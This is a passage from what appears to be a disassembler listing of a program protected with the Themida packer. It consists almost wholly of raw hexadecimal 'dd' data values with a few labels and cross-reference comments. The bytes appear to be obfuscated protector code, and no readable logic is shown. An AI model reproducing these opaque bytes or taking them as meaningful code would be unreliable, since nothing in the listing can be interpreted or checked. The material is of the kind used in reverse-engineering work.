0E98D8B00h, 5706451Fh, 10E860h dd 0BDB0000h, 511E22EBh, 54BE3DCFh, 0E6A2BA88h, 8B59A683h dd 451D01B5h, 335F6106h, 4525119Dh, 1E18306h, 20840Fh dd 0BD230000h, 6451221h, 1FE9A583h, 89FE0645h, 4506F9BDh dd 1D958906h, 8B064504h, 0E9FEh, 0B58D0000h, 6491268h dd 1099D01h, 6A0645h, 0FFACCF80h, 45312195h, 2D8D8906h dd 0B9064502h, 7BAh, 0AE9h, 632BB700h, 6725089h, 83957ACAh dd 0E860FCE1h, 13h, 0C56554B1h, 0EF22E261h, 0B75B66C8h dd 437B2651h, 66C2C98Dh, 5F9525BBh, 3830Fh, 0BF0F0000h dd 8BFC61C0h, 4507D99Dh, 6AC02B06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0ED8DC357h dd 0C55174C8h, 14E8E7D5h, 7C000000h, 92068ADBh, 2DB2D020h dd 624516BDh, 0A4892F8Fh, 0E96F99B2h, 14h, 832AD321h, 0AF2A074Ah dd 88BE09ABh, 0F5EE9174h, 6D45236Eh, 6AD22B5Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 9B5AC355h, 94527D0h, 45084D9Dh, 0C233AD06h, 0D003E8D1h dd 7504E983h, 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0E40B160Bh, 0C35D777Fh, 5E97Ch, 18B50000h dd 0F93B5268h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 7DC35242h, 96771284h, 0C549D92Dh, 6E9h, 48C9400h dd 0D47AC11h, 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0EBC35747h, 77B123BAh, 1958B6Fh, 0BB06452Ah dd 5278DC1h, 3D58D8Bh, 6A0645h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 7E8790C3h, 949B5E07h dd 7E99F8Eh, 0F2000000h, 336B005Fh, 0AE8EFDAh, 8F000000h dd 78D56CD8h, 0BFC2182Fh, 0A59D893Ah, 5F06450Ch, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 83FC5818h, 450215BDh dd 840F0006h, 0A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 87C35747h, 0F9DA0D25h, 0F18529ACh, 0B8064509h dd 0 dd 4E1C8D8Dh, 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 234A37C3h, 91BC8581h, 0FD0E5C6h dd 0C87h, 6830F00h, 8B000000h, 451301BDh, 6AE1FF06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 904CC356h, 0FBAAB2A7h, 0BE2C33E5h, 0C850Fh, 850F0000h dd 6, 2B959D89h, 0DB810645h, 68EAB89Ah, 95DBD83h, 0F000645h dd 42684h, 0EE800h, 9B970000h, 0ED9B5DBFh, 6AC49C56h, 2A1F24A5h dd 5BD98B66h, 1169BD89h, 0BD830645h, 645095Dh, 17840F01h dd 66000004h, 833A62BBh, 45095DBDh, 860F0306h, 3D0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0ADC35141h, 0EB3CB83Bh dd 687DA6EDh, 75BD8960h, 6606451Dh, 13E9D98Ch, 21000000h dd 25D20C6Ch, 0DCBF94AAh, 9D9195E6h, 47D5A5E5h, 0E1809C84h dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 6C98F7FDh, 0C90ADF95h, 0F7840Fh, 858B0000h dd 6450589h, 25618D29h, 85330645h, 6450275h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4C35040h, 0B13DC8ACh dd 895B6D49h, 451C6D95h, 0AF78006h, 0F526050h, 87h, 810F5800h dd 6, 810Fh, 89610000h, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0B52BD1C3h, 9D8BF1B1h dd 6451765h, 9E8006Ah, 0F8000000h, 0A5A2F3F6h, 0E57FE2ECh dd 6E960h, 0A8AF0000h, 5C00DAFAh, 0AE9h, 3F27CA00h, 2AD753BBh dd 6153219Fh, 716D685Fh, 0BB662373h, 348124F8h, 6C729224h dd 0AD95FF23h, 6A06452Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0FA71C350h, 0EB80B8D9h dd 7785898Bh, 0F0648ADh, 0F4E9FAB7h, 89000001h, 4528A5B5h dd 6F858B06h, 810648ADh, 0EAF9AEE7h, 1800C734h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0A2A8C355h, 0BF0F1C7Ch, 73B58BFFh, 6A0648ADh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 353AC350h, 858B8358h, 64503C1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 84C35242h, 0E44508DEh dd 0FD568C1h, 180h, 3152F900h, 4509D985h, 6895B06h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 3FC35545h, 1825BD8Bh dd 858B0645h, 6450589h, 0AA9BD8Bh, 46890645h, 6DBD0304h dd 50064507h, 59B7FBFh, 2434893Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 64C35545h, 0C409E118h, 3A7F51BBh dd 0B5FFF940h, 648AD6Fh, 0BE860h, 0D4B0000h, 72BFB30h dd 3A8B8D25h, 499D8B95h, 5E06450Bh, 3880Fh, 8B660000h dd 68FC61FEh, 70693FCAh, 28E0Fh, 0BEB70000h, 35243481h dd 6A70763Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 9F30C357h, 0F623B197h, 0B589B4C4h dd 6450201h, 858DDE8Ah, 648AD77h, 66BB6650h, 24048982h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CAC35141h dd 58DE942Bh, 491DA462h, 0FE8B66E1h, 30F15BBh, 0AD95FF41h dd 6A06452Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 35B5C352h, 3E269AC9h, 0CE8h, 9853EE00h dd 0C2E8FFD8h, 0CF723B6Fh, 0DE854h, 33A40000h, 0BD73A3Dh dd 93237C17h, 3002694h, 451D019Dh, 615F5B06h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 80C35242h, 0C75AC06Eh dd 45095D85h, 306h, 68F0F00h, 8B000000h, 4511359Dh, 59D8906h dd 83064503h, 48AD77BDh, 840F0006h, 30h, 46E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0EFDD214h, 447824B0h, 0BD2B9714h, 6450739h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0A0D8C350h, 0BCC825A8h, 0CB2848CAh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 63C35343h, 83714D83h, 45095DBDh dd 850F0306h, 41Ch, 18870Fh, 13E90000h, 95000000h, 7BB7B5F9h dd 7F25A982h, 178BE8CEh, 4ABF12FCh, 0BD83BCBBh, 648AD77h dd 0F1840F00h, 60000003h, 2861BD89h, 0AE90645h, 0E1000000h dd 22A560DCh, 60B2888h, 0B5FF6171h, 648AD77h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 37C35040h, 78162642h dd 0DE8B66F6h, 10C995FFh, 6A0645h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0EFC6ABC3h, 0AE296CECh dd 0BE8h, 53139E00h, 8B0E26Fh, 10966097h, 2079BD8Bh, 665B0645h dd 8BCBA1BFh, 48AD6BB5h, 6C7F906h, 10001h, 6810Fh, 0E7810000h dd 6BA6DC1Bh, 505B5696h, 26C484BBh, 0BD899654h, 64508BDh dd 0AD77B5FFh, 85890648h, 6451E41h, 95195FFh, 6A0645h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 706EF0C3h, 372EA93Dh, 199D8B5Dh, 66064520h, 810FFB8Bh dd 6, 0D737EF81h, 0B58B79B6h, 648AD6Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4DC35545h, 0B0716DEFh dd 21431E1h, 0D6EF81AEh, 8B379BF0h, 4514ED85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0E41A509h, 8B97668Ch, 4507399Dh, 10E906h, 0FE30000h dd 518A3CC9h, 0B36F0A03h, 293DF0ECh, 8689FC1Dh, 0C4h, 13298589h dd 958B0645h, 6452A01h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0E1C35545h, 7DBD8B94h, 83064531h, 0BF6604C2h dd 5089EBF1h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0F5BF610h, 38Bh, 0FB8B6600h, 0C156858Dh dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 7283D2C3h, 92A7B087h, 816633D7h, 89B97AE7h dd 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 66E3FF99h, 6ADE8Bh, 0FF1EC780h, 48AD77B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 9E604F5Ch, 6870FD5h, 0B000000h, 452B15BDh dd 9195FF06h, 52064525h, 2415BD31h, 505B0645h, 28F0Fh dd 0BFB30000h, 0F243489h, 68Dh, 0CDBD0300h, 0F064524h dd 0B5FFF9B7h, 648AD77h, 32F59D8Bh, 95FF0645h, 645207Dh dd 77F38166h dd 55BD83F2h, 64519h, 64840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 812A59C3h dd 0BCE59ACEh, 3157F171h, 45201DBDh, 52965B06h, 9E8h, 2D348D00h dd 0EA36D7FFh, 52506BBEh, 585A310Fh, 0E8505F5Bh, 10h, 0A21FEC90h dd 0DB95D0D9h, 7782F18Dh, 48896B86h, 965BD98Ah, 14899D89h dd 0B5FF0645h, 648AD77h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0C2C35242h, 769463C8h, 538FD6A1h, 2D95FFABh dd 0E806452Fh, 0Ch, 56DE6A8Fh, 543FBA4Fh, 33CB7D5Bh, 77B5FF5Fh dd 890648ADh, 45079985h, 0FFC4B706h, 45073595h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 6A149909h, 6E95715h, 81000000h, 0CED18DBBh, 0BD835BAAh dd 645301Dh, 44840F02h, 66000000h, 6387CF81h, 2F51858Bh dd 6A0645h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 4DD8A6C3h, 0BF0F00E8h, 0AD9589DEh, 0C6064532h dd 8E90000h, 0C7000000h, 0EA8A67B0h, 0C7B3799Ah, 4530A985h dd 6, 0FFBF0F00h, 0FFF350E9h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 9A19C9D2h dd 0F4E3B2D6h, 8D89609Dh, 6452F01h, 498D0953h, 5B064531h dd 0F98B6661h, 2F8DBD8Bh, 0C18B0645h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 5BC35141h, 0EBFFD1ACh, 0BF21D3A6h dd 55858983h, 9064520h db 0B5h, 0FDh word_589776 dw 452Fh ; DATA XREF: Themida_:0053EB64o dd 99858D06h, 8B06450Dh, 450BA1BDh, 52509006h, 16800Fh dd 10E80000h db 3 dup(0) byte_589793 db 4Fh ; DATA XREF: Themida_:0053E570o dd 37BE1E79h, 2D0A896Dh, 0B305F9C5h, 5BA0B182h, 850F310Fh dd 5, 29A1BDBBh, 50585A26h, 0FDE39DBFh, 9D899075h, 64505FDh dd 12E8h, 1DAC4700h, 0AFDBFF81h, 744B6F92h, 0BBE210CAh dd 23AF41D4h, 451CBD9Dh, 6A5F06h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 82C35343h, 4D264B51h, 82B6FEF6h dd 0DE8B66D6h, 4890Fh, 0B7570000h, 6A5B03h, 28819589h dd 0B70F0645h, 0BF858DFBh, 6A0649BAh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0DA9DC357h dd 6E8A9h, 0BA550000h, 0F3213FEDh, 5BFFBF0Fh, 6A05C083h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0CF19C357h, 0FEDC475h, 582h, 0FDF5BB00h dd 840F2273h, 1Ch, 0D8816660h, 10E92FDDh, 1D000000h, 0D460E516h dd 0B782B194h, 42AE4D6Eh, 61E4AEB7h, 118B0F90h, 51000000h dd 0AE9h, 7BCE5000h, 0AE01AC6Bh, 5BFA3A4Eh, 90DF8B50h dd 6AF8BF0Fh, 0AD950100h, 6A064520h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 89632BB7h dd 0B5897250h, 6450865h, 174995FFh, 6A0645h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 278D89C3h dd 0DE950h, 0FA3E0000h, 0EE12A590h, 28F6EFF0h, 5FDB8C59h dd 3291B589h, 8D8D0645h, 6489D99h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 11C35141h, 81664060h, 0FB1B2C7h dd 0D1FFFEBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 2BC35242h, 90A234CCh, 6D68093Dh, 6850Fh, 9D8B0000h dd 64505EDh, 7E8h, 9F92FF00h, 0D583ABD9h, 2AF9BD8Bh, 835B0645h dd 450025BDh, 850F0106h, 86h, 731B589h, 26A0645h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 60C35242h, 8960F27Dh dd 451E6185h, 0C7C08006h, 52505061h, 310FEFB7h, 585ADD8Ah dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 4D77C355h, 0ADE6A43Dh, 0FFD9BF0Fh dd 45259195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0FE97953h, 0E800000Dh, 0 dd 0C9ED815Dh, 510649BAh, 0A1B58960h, 61064505h, 55006A5Bh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 48EF8135h, 892561E8h, 451C5DBDh, 6D858D06h, 0F06488Fh dd 88Fh, 0D7815000h, 7F008549h, 8B66905Bh, 0F9050F8h, 38Ah dd 0FDD38000h, 35FF64h, 0E8000000h, 5, 0CD4951h, 5BFE8A89h dd 258964h, 89000000h, 450CAD8Dh, 9BCF8006h, 32B985FFh dd 0FF6A0645h, 7C19D0Bh, 0CB800645h, 0A9B5FFD5h, 0F06451Eh dd 682h, 5ACB8100h, 0FF0997F8h, 452CE995h, 116E906h, 0BB660000h dd 0B0B1FDh, 25ADBD89h, 70E60645h, 0B8D38166h, 8B71E447h dd 4508659Dh, 0F613C06h, 0F383h, 6820F00h, 89000000h, 450B39B5h dd 2870F06h, 8B000000h, 0C8B60FD9h, 12119D8Bh, 6BA0645h dd 81000000h, 3F57A8DBh, 0C1C18B35h, 830F04E8h, 3, 66BAF780h dd 8D89E2F7h, 64502F1h, 0BDBFC82Bh, 8B0A07CDh, 919D29D1h dd 0E9064510h, 0A0h, 1E199D8Bh, 858B0645h, 8, 9E8h, 0D300F00h dd 5DE943B7h, 835BB515h, 0C08307C0h, 810F00h, 3B000000h dd 1A830FD0h, 8B000000h, 452099BDh, 0AD9D8B06h, 0E906450Bh dd 60h, 858BFC60h, 6452BA5h, 0FF8D8B61h, 8BFFFFFFh, 4500F9BDh dd 1E18306h, 42840Fh, 5E90000h, 3B000000h, 2A0F23Dh, 0FFFFA583h dd 0E9FEFFFFh, 0Fh, 7AD72360h, 0C67210h, 4BA89688h, 0FC72A6Fh dd 688h, 0BD858900h, 89064514h, 895h, 0AD852900h, 0E906450Bh dd 0 dd 389DB58Dh, 6A0649h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 51DD62C3h, 8956538Ch, 451141BDh dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 6AC350h, 834E294Ch, 95FF1E0Eh dd 6453121h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 73C35646h, 103CB961h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 709CC2C3h dd 83F98BDBh, 0D9BFFCE1h, 0FC5C6411h, 195BD8Bh, 17BF0645h dd 0B86951BBh, 0 dd 0FE9h, 0E3A35600h, 0AEF52EF7h, 16C0DA3Ah, 2FFC0262h dd 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0ADD1A80Ch, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0A046C355h, 8B660216h, 880DFCDFh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 1884C352h, 98736201h, 6E84AF8h dd 0D9000000h, 5F8797B5h, 1549BFCFh, 665F3FB7h, 958BDA8Bh dd 6452A01h, 0A960ABBh, 0D58D8B66h, 50064503h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 4C559BA5h dd 4FCB896Ch, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 89BD8B3Ch, 83064501h, 450215BDh dd 840F0006h, 45h, 24F58589h, 0B80645h, 0F000000h, 8D8DDABFh dd 6454E1Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0C0C35040h, 1E3E94CBh, 0DB816615h, 0E1FFF7DBh dd 8BDA8B66h, 4531A1BDh, 5DBD8306h, 64509h, 42B840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 156BA2C3h, 519589B3h, 83064505h, 45095DBDh, 840F0106h dd 414h, 3DF38166h, 5DBD83E5h, 3064509h, 3CC860Fh, 95290000h dd 6453125h, 61858960h, 6606451Eh, 6AD98Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 2DEFEC3h dd 44E5F2A0h, 80D9BF0Fh, 0DE804E1h, 1F000000h, 0A01546BEh dd 278E4C0Fh, 94FB9BE3h, 0DB81665Bh, 0C90AFAF0h, 0D0840Fh dd 0DF8B0000h, 589858Bh, 6A0645h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 4E49E0C3h, 0CFF130E3h dd 89217CDDh, 452B5DBDh, 3D9D8B06h, 33064518h, 45027585h dd 0FA8B6606h, 0FB8B5090h, 45B58990h, 6A064504h, 8EE78100h dd 0BB542A31h, 4AA61B23h, 66755A68h, 0BEBB6624h, 24348176h dd 247976A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0A7C35242h, 0E340CF3Eh, 9C5B589h, 95FF0645h, 6452EADh dd 3850Fh, 0EB800000h, 778589D6h, 6A0648ADh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 26D1C355h, 0E9F571FBh, 1F4h, 241D9D8Bh, 858B0645h, 648AD6Fh dd 7E8h, 51B4D000h, 484ECC85h, 1800C75Bh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0AC09C350h, 739CB39Fh, 0F574BC12h, 0AD73B58Bh, 6A0648h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0D5EEB1C3h, 8BF588F2h, 4503C185h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 72A7D01Bh dd 5662D283h, 895F82B7h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0C8B69423h, 3830Fh, 0BF0F0000h dd 799D01FBh, 8B064525h, 45058985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 152BF154h dd 0FBB08BF3h, 0BF66D5ABh, 9529D937h, 6452861h, 6A044689h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 33FCC352h, 66605015h, 0B4FF82B9h, 348961C3h dd 6860F24h, 89000000h, 45243D8Dh, 51958906h, 0FF064530h dd 48AD6FB5h, 7E806h, 0D7A80000h, 0B57BE0A9h, 28C0F81h dd 8A000000h, 0AE685BDAh, 51BD453Fh, 52505250h, 585A310Fh dd 0F98B310Fh, 815F585Ah, 0C4512404h, 6A42D9h, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0A7A07DC3h, 9D014F02h, 6451FEDh, 0AD77858Dh, 6A0648h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 8BFC3AC3h, 452B09BDh, 46BF9006h, 5009F3F0h, 14E9h, 86FAFC00h dd 0B9852CB0h, 0CB5DAFACh, 0B56AB4D3h, 0B97DD1DAh, 9D239074h dd 645012Dh, 2EAD95FFh, 81660645h, 0FCB47ADFh, 53006A61h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0C317B8ACh, 6648F9FEh, 7D26F781h, 28F18D29h, 85C70645h dd 645095Dh, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 75C35646h, 0BAC55451h, 77BD83F9h, 648ADh, 50840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 17AF46C3h, 1CA08C70h, 42E95F50h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 16BAC357h, 2912EE64h, 0F4B5C04h, 3050FAB7h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 0F9BF60C0h, 661AF8A9h, 616403BEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 24C35040h, 0F2C2FDBEh, 9D23005Fh dd 64528A5h, 5DBD83FCh, 3064509h, 42A850Fh, 0B600000h dd 452029BDh, 0C58D8906h, 61064500h, 10858D89h, 0BD830645h dd 648AD77h, 9840F00h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 22A1C357h dd 87B46EACh, 10E952h, 0E3F90000h, 8C1FB685h, 0C4838CA1h dd 6E1BA6E3h, 0BF52C069h, 24A92569h, 77B5FF5Fh, 0F0648ADh dd 0B70FDEBFh, 0C995FFFAh, 6A064510h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 2D7EC355h dd 8BFB8B66h, 48AD6BB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0C789C0D3h, 106C7F5h dd 6A000100h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0CB16C355h, 0A6F98412h, 0DB640941h dd 2CFD9589h, 66500645h, 3489DF8Bh, 0DFF78124h, 0FF32F9BCh dd 48AD77B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 83DBA38Eh, 66032505h, 0FF499BBBh dd 45095195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0B58BF060h, 648AD6Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7FC35545h, 48C9461h dd 814BBF66h, 0CC92BB66h, 0CC97CB81h, 858B4226h, 64514EDh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 5FC35343h dd 0B529FE4Ch, 6452A05h, 0C48689h, 0F98B0000h, 2A01958Bh dd 860F0645h, 6, 399CDF81h, 0FB8B102Fh, 6A04C283h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0DC15C357h, 89A370D4h, 0BF662050h, 0BD8B441Eh, 6451E29h dd 0C156858Dh dd 0BF660648h, 0E9502761h, 14h, 8F8BE019h, 0EF42B6BEh dd 1A8292E8h, 6179D872h, 71EACB4Eh, 0B886895Bh, 66000000h dd 0F3B3FBBh, 6ADAB7h, 1D8DB529h, 0B5FF0645h, 648AD77h dd 0FF01CF80h, 45259195h, 50D98B06h, 440B4BBBh, 2434892Ch dd 0AF8BBF66h, 0AD77B5FFh, 0F600648h, 28Ch, 61616000h dd 207D95FFh, 6A0645h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0BF66CEC3h, 0BD833C96h, 6451955h dd 56840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0B25EC355h, 23447F7Bh dd 45189DBDh, 0BB669606h, 0BF50896Bh, 0ACB5783h, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0E3498F2Ch, 8B0DDB15h, 77B5FFDEh, 6A0648ADh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 22A7C351h, 54680A82h, 2D95FF82h, 6006452Fh, 0DA1C0ABFh dd 419D8B6Eh, 6106452Fh, 0AD77B5FFh, 6A0648h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 5737D8C3h dd 0DE9h, 0A124B700h, 0D7C5EBF4h, 0BBB0CBBCh, 95FF6982h dd 6450735h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0D6C35747h, 301DBD83h, 0F020645h, 8984h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0E9F353D7h, 0C5B6FB6Dh, 0EFBF66B4h, 8BFA8B01h, 452F5185h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0E5BD2929h, 0C6064524h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8D0FA1C3h, 0Ch, 6820Fh, 810F0000h, 0 dd 18C58589h, 85C70645h, 64530A9h, 0 dd 13E9h, 0E838F900h, 9E680445h, 39DF43ADh, 14EE8E75h dd 0C0A64601h, 0FFF3D1E9h, 57006AFFh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 6911EB70h dd 0DC9B26F1h, 6AC18BE2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0F769C350h, 0DE6CABE4h dd 85897EA0h, 645183Dh, 1B1BD8Bh, 858D0645h, 6450D99h dd 0B880Fh, 890F0000h, 5, 0B3F38166h, 9E9508Ah, 42000000h dd 49D1645h, 26836600h, 8B240489h, 450BD9BDh, 60006A06h dd 3870Fh, 0BF0F0000h, 0E18166C9h, 6A61E8EBh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 118962C7h, 0D3CD1A7Fh, 0AE8FE36h, 0B0000000h, 20CD6965h dd 57E78C45h, 0FE960h, 47C0000h, 22E3E081h, 2DE624A6h dd 0BC4B97E9h, 858D5B7Fh, 649CA3Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 31C35747h, 17492BD5h, 0C083A49Ah dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0EA3FD063h, 3D60047Dh, 8A539059h, 0F505BDAh dd 284h, 90F88B00h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0F1C35646h, 0CC99D13Eh, 6A006A82h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 145BC351h, 4F1BD8Bh, 6A0645h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0E4C35646h, 0B6FFC6BBh, 7AD03891h dd 0B9B58943h, 0FF06451Dh, 45174995h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 12E2B1F4h, 8C395415h, 0BD29B93Bh, 64503CDh, 9D998D8Dh dd 95890648h, 64501E9h, 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h dd 